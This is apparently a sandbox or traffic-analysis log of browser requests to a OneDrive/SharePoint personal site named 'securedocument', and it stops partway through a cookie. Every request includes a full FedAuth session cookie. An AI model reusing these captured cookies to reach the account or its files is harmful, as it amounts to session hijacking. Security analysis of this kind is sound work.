Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-03-07.002%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=true HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&RootFolder=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&TryNewExperienceSingle=TRUE HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/v2.0/sites/%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/items/delta?token=latest HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Content-Type: application/json;odata=verboseX-RestrictedReadCapabilities: ForceCheckOut,RequiredColumn,ContentApproval,Irm,ExcludeFromOfflineClient,DocumentParser,DraftItemSecurity,ItemLevelPermissionsAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-03-07.002%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.jsAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/v2.0/sites/root/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/subscriptions/socketIo?listItemIds= HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Content-Type: application/json;odata=verbosePrefer: NotificationSessionAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-03-07.002%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.jsAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/jsonContent-Type: application/jsonSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=trueAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhpTy9ESUI1VzJIL05IWm5SdGYrSFB2NUtRV3VHUTloMFozUkFPZ1FWTGt3MXkzTE1kcXo1Vnhic29pRnRUd2tVSllWM0U5cStBQUdDTjVmZTZMK3hLYmZjaXlYRHdOQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/securedocument_postureshift_com/_api/v2.0/sites/%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/items/delta?token=latest HTTP/1.1Host: postureshift-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVz